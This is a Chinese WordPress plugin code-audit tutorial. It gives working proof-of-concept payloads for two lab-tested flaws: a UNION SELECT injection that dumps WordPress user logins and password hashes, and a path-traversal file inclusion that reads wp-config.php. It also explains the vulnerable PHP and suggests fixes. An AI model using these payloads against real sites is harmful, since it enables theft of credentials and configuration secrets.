7-PHP代码审计——wordpress插件漏洞分析
目录
1. wordpress插件漏洞
3. Ultimate Produce Catalogue插件SQL注入漏洞
3. Site Editor插件本地文件包含漏洞
1. wordpress插件漏洞
wordpress本身的安全性是比较完善的,通常安全审计中大部分的漏洞都是来自wordpress安装的第三方插件,wordpress并不保证这些插件的安全性,因为第三方插件都是由其他的开发者编写的,插件的安全性取决于开发者的水平和安全意识,毕竟每个开发者的安全意识是不一样的。
因此在进行wordpress漏洞挖掘的时候,从插件入手分析是一个不错的选择。
在分析wordpress插件漏洞的环境以及用到的插件:
Ultimate Produce Catalogue4.2.2插件的sql注入
site-editor1.1.1插件的本地文件包含
本次实验环境使用的是WordPress 4.9版本
Ultimate Produce Catalogue插件SQL注入漏洞实验环境的POC
/wp-admin/admin-ajax.php?action=get_upcp_subcategories
CatID=0 UNION SELECT 1,user()
CatID=0 UNION SELECT user_login,user_pass from wp_users where id=1
3. Ultimate Produce Catalogue插件SQL注入漏洞
搭建好漏洞环境后,登录wordpress后台后,在左侧点击插件---> 安装插件:
安装插件的时候选择zip格式的文件,安装完成后启用插件
安装完插件后需要登录用户账号,然后访问http://www.test2.com/wp-admin/admin-ajax.php?action=get_upcp_subcategories,并提交数据:
Post data中是一段sql注入代码,查询当前数据库的用户,点击Execute提交数据后,后台返回了数据库的用户名信息。
接着我们就可以构造sql注入语句爆出用户名和密码,但是密码是经过加密的:
接下来我们分析插件产生漏洞的原因。
先找到wordpress的插件的目录,找到安装的插件ultimate-product-catalogue,再定位到get_upcp_subcategories函数(路径为plugins\ultimate-product-catalogue\Functions\Process_Ajax.php)
get_upcp_subcategories函数具体实现:
function Get_UPCP_SubCategories() {global $subcategories_table_name;$Path = ABSPATH . 'wp-load.php';include_once($Path);global $wpdb;$SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM $subcategories_table_name WHERE Category_ID=" . $_POST['CatID']);foreach ($SubCategories as $SubCategory) {$Response_Array[] = $SubCategory->SubCategory_ID;$Response_Array[] = $SubCategory->SubCategory_Name;}if (is_array($Response_Array)) {$Response = implode(",", $Response_Array);}else {$Response = "";}echo $Response;
}
get_upcp_subcategories函数内部只接收了一个CatID数据,而CatID中的数据就是我们提交的sql注入语句,代码中没有对CatID中的内容进行任何安全过滤,直接将CatID拼接到sql语句中执行,将查询到的数据库用户名保存到$SubCategories变量中。
漏洞修复:对传入的数据进行预处理再拼接成sql语句
$wpdb->get_results($wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id))
3. Site Editor插件本地文件包含漏洞
poc:
/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../test.txt
Site Editor插件的安装方式和前面的一样。如果提示文件过大,把Site Editor插件解压到\wp-content\plugins目录下,然后在wordpress的后台的插件一栏中启用Site Editor。
利用site editor插件的本地文件包含漏洞通过../来读取test.txt文本的内容,最终构造的url格式:
把test.txt文件名进行替换就可以读取其它文件,例如读取wp-config.php:
http://www.test2.com/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php
接下来我们分析Site Editor插件的本地文件包含漏洞产生的原因。找到\plugins\site-editor\editor\extensions\pagebuilder\includes\ajax_shortcode_pattern.php文件
//判断是否是文件,文件是否存在
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){//如果存在直接包含文件require_once $_REQUEST['ajax_path'];
}else{echo json_encode( array('success' => false,'message' => "Error: didn't load shortcodes pattern file",));return ;
}
我们可以看到上面的代码只是对ajax_path参数中的内容进行了简单的判断,并没有做任何安全校验,这才导致了本地文件包含漏洞。
漏洞修复:使用白名单对提交的参数过滤。
7-PHP代码审计——wordpress插件漏洞分析相关推荐
- 墨者WordPress插件漏洞分析溯源
总结:整个流程就算发现这是wordpress然后用专门的wpscan去扫漏洞,然后发现的了插件漏洞,然后利用整个插件漏洞来植入后门,然后获取key文件 思路:尝试绕过登录,进入页面发现不行,然后面向搜 ...
- wordpress插件翻译不生效_新的恶意软件利用wordpress插件漏洞攻击数百万网站
研究人员发现,正在进行的一项针对数百万WordPress网站的恶意攻击活动,目的是利用后门和各种WordPress插件漏洞进行感染. 据wordpress统计,wordpress内容管理系统提供了近6 ...
- WordPress 插件漏洞被利用,近 20 万站点还没打补丁
开发四年只会写业务代码,分布式高并发都不会还做程序员? 攻击者正在利用两个广泛使用的 WordPress 插件中的严重漏洞,以入侵托管站点,影响站点数量众多. 前几天我们才报导过流量排名前一千万网 ...
- struts2 ajax上传文件 file空_WordPress插件漏洞分析:WPDiscuz任意文件上传漏洞
写在前面的话 就在不久之前,Wordfence的威胁情报团队在一款名叫wpDiscuz的Wordpress评论插件中发现了一个高危漏洞,而这款插件目前已有超过80000个网站在使用了.这个漏洞将允许未 ...
- 代码审计之DocCms漏洞分析
0x01 前言 DocCms[音译:稻壳Cms] ,定位于为企业.站长.开发者.网络公司.VI策划设计公司.SEO推广营销公司.网站初学者等用户 量身打造的一款全新企业建站.内容管理系统,服务于企业品 ...
- Metasploit训练营中,Zingiri Web Shop插件漏洞分析
Wordpress Zingiri Plugin <= 2.2.3(ajax_save_name.php) Remote Code Excution 如下: <?php error_rep ...
- 黑客在数十个 WordPress 插件和主题中插入秘密后门,可发动供应链攻击
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件的安全 ...
- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞 --from Lyricbao 0x00 复现环境 phpstudy wordpress 4.4版本 Q ...
- wordpress漏洞_多个WordPress插件SQL注入漏洞分析
背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...
最新文章
- python安装步骤图解-Python安装-小白图文教程(精)
- hdu1261 JAVA
- C#实现动态生成Word
- IDA Pro7.0使用技巧总结使用
- 【项目管理】项目问题应对思路
- php环境搭建(php5.5.8+apache2.4)
- 【自己看的笔记】Unity基础操作认识
- 细数门店客流量统计的那些技术
- 开源OA协同办公平台搭建教程丨模糊人员匹配功能配置说明
- 米思齐Mixly图形化编程---呼吸灯与可调档位灯
- springboot学习笔记1——springboot初始化
- 反垃圾邮件 linux,Linux中Postfix反病毒和垃圾邮件工具(十)
- 怦然心动(Flipped)-3
- android 取消蓝牙配对框 实现自动配对,Android 取消蓝牙配对框实现自动配对功能...
- 【小程序源码】uni-app云开发的网盘助手抓取网盘资源
- 音视频开发进阶|第七讲:分辨率与帧率·上篇
- 统计学——几种常见的假设检验
- Rust GUI 编程漫谈:超越 Web 与原生 GUI
- rd授权管理器不显示服务器,2008 r2 找不到RD授权管理器
- EasyUI之表单验证
热门文章
- 平安租赁面试java_2019平安租赁面试经验(资产运作,企业融资部等)
- Android高级架构师系统学习——Android-音频可视化,程序员怎样优雅度过35岁中年危机
- 工作!!工作!!!工作!!!!
- 【环境配置】macOS的Xcode中使用C++万能头文件bits/stdc++.h
- mxnet的rec数据中还原图片
- HTML在线解析UBB代码小工具:DISCUZ UBB互相转换为HTML
- vue中实现打印功能的方法与注意事项
- 一文理解JVM虚拟机(内存、垃圾回收、性能优化)解决面试中遇到问题
- VBA 连接ACCESS数据库
- # 关于Qt程序异常结束, The process was ended forcefully问题